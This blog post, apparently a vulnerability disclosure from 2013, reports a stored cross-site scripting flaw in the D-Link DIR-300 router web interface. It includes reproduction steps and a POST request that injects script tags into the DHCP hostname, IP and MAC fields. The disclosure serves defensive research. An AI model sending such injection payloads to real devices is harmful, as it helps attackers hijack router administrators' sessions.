Wednesday, February 6, 2013

D-link DIR-300 Router Persistent Cross-site Scripting

Found one (new) vulnerability in D-link DIR-300 router.

It is posted here:

# Requirement
1. HTTP(s) Access to router
2. Ability to make configuration changes

# Access vector

# Impact
Persistent XSS / Script execution

# Vulnerable platform
D-Link DIR-300 Firmware v1.3

# Steps to reproduce

1. Log in to D-link router.

2. Setup -> LAN Setup -> DHCP Client List

In here, we can add information of DHCP clients (DHCP reservation) - hostname, IP address, and MAC. These 3 fields do not validate input.

Scripts can be submitted as input values and these then get stored as part of configuration.

Once the page is re-loaded / accessed, these values will get populated from the configuration and the JS gets executed.

# HTTP Request:
User-Agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:18.0)
Gecko/20100101 Firefox/18.0


Accept-Encoding=gzip, deflate
Content-Type=application/x-www-form-urlencoded; charset=UTF-8


POSTDATA =TEMP_NODES=/runtime/post/session_1&data=4&start=1&d_1_0=0&d_1_1=box1<script>alert("XSS_from_computername")</script>&d_1_2=<script>alert("XSS_from_IP")</script>&d_1_3=38%3A16%3AD1%3A17%3A3A%3A00<script>alert("XSS_from_mac")</script>&d_2_0=&d_2_1=&d_2_2=&d_2_3=&d_3_0=&d_3_1=&d_3_2=&d_3_3=&d_4_0=&d_4_1=&d_4_2=&d_4_3=&d_5_0=&d_5_1=&d_5_2=&d_5_3=&d_6_0=&d_6_1=&d_6_2=&d_6_3=&d_7_0=&d_7_1=&d_7_2=&d_7_3=&d_8_0=&d_8_1=&d_8_2=&d_8_3=&d_9_0=&d_9_1=&d_9_2=&d_9_3=&d_10_0=&d_10_1=&d_10_2=&d_10_3=&d_11_0=&d_11_1=&d_11_2=&d_11_3=&d_12_0=&d_12_1=&d_12_2=&d_12_3=&d_13_0=&d_13_1=&d_13_2=&d_13_3=&d_14_0=&d_14_1=&d_14_2=&d_14_3=&d_15_0=&d_15_1=&d_15_2=&d_15_3=&d_16_0=&d_16_1=&d_16_2=&d_16_3=&d_17_0=&d_17_1=&d_17_2=&d_17_3=&d_18_0=&d_18_1=&d_18_2=&d_18_3=&d_19_0=&d_19_1=&d_19_2=&d_19_3=&d_20_0=&d_20_1=&d_20_2=&d_20_3=&d_21_0=&d_21_1=&d_21_2=&d_21_3=&d_22_0=&d_22_1=&d_22_2=&d_22_3=&d_23_0=&d_23_1=&d_23_2=&d_23_3=&d_24_0=&d_24_1=&d_24_2=&d_24_3=&d_25_0=&d_25_1=&d_25_2=&d_25_3=&end=25

# HTTP Response

# Comments

The requirements mentioned in this advisory are just the steps for reproducing this test in a lab.

An attacker may instead utilize other known vulnerabilities such as unauthenticated remote code execution or CSRF to submit malicious input that will eventually trigger XSS when a user accesses the router's web interface. Hence, I don't consider this as 'administratively inflicted' like the packetstorm publisher has noted in description.

Also from a VA perspective, XSS is a distinct security flaw than OS command injection or CSRF or broken authentication. Each of these may have different associated severity based on the environment setup & assets, but nevertheless, all impacting issues should be reported.



The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.